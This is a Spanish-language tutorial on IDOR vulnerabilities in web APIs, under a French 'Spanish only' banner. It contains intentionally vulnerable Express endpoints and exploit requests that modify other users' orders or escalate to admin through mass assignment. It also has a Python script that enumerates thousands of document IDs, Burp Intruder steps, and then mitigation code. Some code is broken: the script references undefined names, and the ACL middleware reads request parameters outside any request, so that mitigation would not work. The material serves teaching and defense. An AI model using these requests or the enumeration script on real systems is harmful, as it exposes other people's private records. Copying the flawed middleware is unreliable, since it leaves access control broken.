Contenu disponible uniquement en espagnol
Cet article n'est actuellement disponible qu'en espagnol. Nous travaillons sur les traductions.
Disponible en: ES, EN • Conseil: Utilisez la fonction de traduction de votre navigateur ou visitez la version espagnole
¿Qué es IDOR?
Insecure Direct Object Reference (IDOR) ocurre cuando una aplicación expone referencias directas a objetos internos (IDs, nombres de archivo, etc.) sin verificar que el usuario tenga permiso para acceder a ellos.
Impacto Crítico
- Ver documentos privados de otros usuarios
- Modificar pedidos/transacciones ajenas
- Acceder a facturas, recibos, historial médico
- Eliminar contenido de otros usuarios
- Escalar privilegios (acceder a admin panels)
1. IDOR Básico - Cambiar ID en URL
Escenario Vulnerable
app.get('/api/invoice/:id', async (req, res) => {
const invoiceId = req.params.id;
// ❌ VULNERABLE - Solo verifica que exista, no si pertenece al usuario
const invoice = await db.invoices.findById(invoiceId);
if (!invoice) {
return res.status(404).json({ error: 'Invoice not found' });
}
// Sin verificar ownership, retorna la factura
res.json(invoice);
});Explotación
Un usuario autenticado puede simplemente incrementar el ID para ver facturas de otros:
2. IDOR con UUIDs (No es Suficiente)
Muchos developers creen que usar UUIDs en lugar de IDs secuenciales previene IDOR.Esto es FALSO. UUIDs solo hacen la enumeración más difícil, pero NO verifican autorización.
app.get('/api/document/:uuid', async (req, res) => {
const documentUUID = req.params.uuid;
// ❌ AÚN VULNERABLE - UUID no verifica ownership
const document = await db.documents.findByUUID(documentUUID);
if (!document) {
return res.status(404).json({ error: 'Not found' });
}
// Sin verificar si el usuario actual es el owner
res.json(document);
});Cómo Obtener UUIDs de Otros Usuarios
1. Endpoints de listado:
GET /api/shared-documents
→ Retorna UUIDs de documentos compartidos
2. Notificaciones/Emails:
"Juan ha compartido documento a3f5b8c2-..."
3. JavaScript en el frontend:
console.log() con UUIDs
4. Burp/History:
Otros requests pueden contener UUIDs ajenos
5. Error messages:
"Document a3f5b8c2-1234-... already exists"3. IDOR en Request Body (POST/PUT)
IDOR no solo ocurre en URLs. También puede estar en request bodies:
app.post('/api/order/update', async (req, res) => {
const { orderId, status } = req.body;
// ❌ VULNERABLE - Confía en orderId del cliente
await db.orders.updateOne(
{ id: orderId },
{ status: status }
);
res.json({ success: true });
});Exploit - Modificar Pedido Ajeno
POST /api/order/update HTTP/1.1
Content-Type: application/json
Cookie: session=victim_session
{
"orderId": 9999, ← ID de pedido de otro usuario
"status": "cancelled"
}4. IDOR + Mass Assignment
Combinar IDOR con Mass Assignment permite escalar privilegios:
app.put('/api/user/:id/update', async (req, res) => {
const userId = req.params.id;
const updateData = req.body;
// ❌ VULNERABLE #1: No verifica que userId == currentUser.id
// ❌ VULNERABLE #2: Mass assignment - acepta cualquier campo
await db.users.updateOne({ id: userId }, updateData);
res.json({ success: true });
});PUT /api/user/123/update HTTP/1.1
Content-Type: application/json
{
"role": "admin", ← Cambiar rol a admin
"is_verified": true,
"balance": 999999.99
}
# Si el atacante puede cambiar su propio userId a 123 (un admin),
# o si puede adivinar el ID de un admin, obtiene privilegios5. Automatización de IDOR
import requests
BASE_URL = "https://vulnerable-app.com/api/document"
SESSION_COOKIE = "session=your_session_here"
def enumerate_documents(start_id, end_id):
found_documents = []
for doc_id in range(start_id, end_id):
url = f"{BASE_URL}/{doc_id}"
response = requests.get(
url,
cookies={'session': SESSION_COOKIE}
)
if response.status_code == 200:
data = response.json()
# Verificar si pertenece a otro usuario
if data.get('owner_id') != YOUR_USER_ID:
print(f"[!] IDOR Found: Document {doc_id}")
print(f" Owner: {data.get('owner_id')}")
print(f" Title: {data.get('title')}")
found_documents.append(data)
elif response.status_code == 403:
# Existe pero acceso denegado (implementación correcta)
print(f"[ ] Protected: {doc_id}")
# Rate limiting
time.sleep(0.5)
return found_documents
# Enumerar IDs del 1 al 10000
results = enumerate_documents(1, 10000)
print(f"\n[+] Total IDOR vulnerabilities: {len(results)}")Burp Intruder
- Captura request con ID vulnerable
- Marca el ID como posición de payload
- Payload type: Numbers (sequential)
- Analiza responses con diferentes status codes/lengths
Mitigación Completa
✅ Principio Fundamental
1. Verificar Ownership
app.get('/api/invoice/:id', async (req, res) => {
const invoiceId = req.params.id;
const currentUserId = req.user.id; // Del token JWT/session
// ✅ SEGURO - Buscar invoice que pertenezca al usuario actual
const invoice = await db.invoices.findOne({
id: invoiceId,
user_id: currentUserId // ← KEY: Verificar ownership
});
if (!invoice) {
// No revela si existe o no (evitar información leak)
return res.status(404).json({ error: 'Invoice not found' });
}
res.json(invoice);
});2. No Exponer IDs Directos
// En lugar de exponer IDs de base de datos, usa mapping
const userSessionMap = new Map(); // userId → random token
app.get('/api/my-invoices', async (req, res) => {
const currentUserId = req.user.id;
const invoices = await db.invoices.findAll({
user_id: currentUserId
});
// Generar tokens temporales para cada invoice
const invoicesWithTokens = invoices.map(invoice => {
const token = crypto.randomBytes(16).toString('hex');
userSessionMap.set(token, {
invoiceId: invoice.id,
userId: currentUserId,
expiresAt: Date.now() + 3600000 // 1 hora
});
return {
token: token, // ← Usar en lugar de ID
total: invoice.total,
date: invoice.date
};
});
res.json(invoicesWithTokens);
});
app.get('/api/invoice/:token', async (req, res) => {
const token = req.params.token;
const mapping = userSessionMap.get(token);
if (!mapping || mapping.expiresAt < Date.now()) {
return res.status(404).json({ error: 'Not found' });
}
// Verificar que el usuario que pide es el owner
if (mapping.userId !== req.user.id) {
return res.status(404).json({ error: 'Not found' });
}
const invoice = await db.invoices.findById(mapping.invoiceId);
res.json(invoice);
});3. ACL (Access Control List)
// Middleware de autorización
async function checkResourcePermission(resourceType, resourceId, permission) {
return async (req, res, next) => {
const userId = req.user.id;
// Buscar en tabla de permisos
const hasPermission = await db.permissions.findOne({
resource_type: resourceType,
resource_id: resourceId,
user_id: userId,
permission: permission
});
if (!hasPermission) {
// También verificar si es owner
const resource = await db[resourceType].findById(resourceId);
if (resource.owner_id !== userId && !req.user.is_admin) {
return res.status(403).json({ error: 'Forbidden' });
}
}
next();
};
}
// Uso
app.get('/api/document/:id',
checkResourcePermission('documents', req.params.id, 'read'),
async (req, res) => {
const document = await db.documents.findById(req.params.id);
res.json(document);
}
);4. Rate Limiting para Prevenir Enumeración
const rateLimit = require('express-rate-limit');
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutos
max: 100, // Max 100 requests por IP
message: 'Too many requests, please try again later',
standardHeaders: true,
legacyHeaders: false,
});
// Aplicar a endpoints sensibles
app.use('/api/', apiLimiter);
// Limiter más estricto para recursos específicos
const resourceLimiter = rateLimit({
windowMs: 60 * 1000, // 1 minuto
max: 10, // Solo 10 requests por minuto
keyGenerator: (req) => req.user.id, // Por usuario, no por IP
});
app.get('/api/invoice/:id', resourceLimiter, async (req, res) => {
// ...
});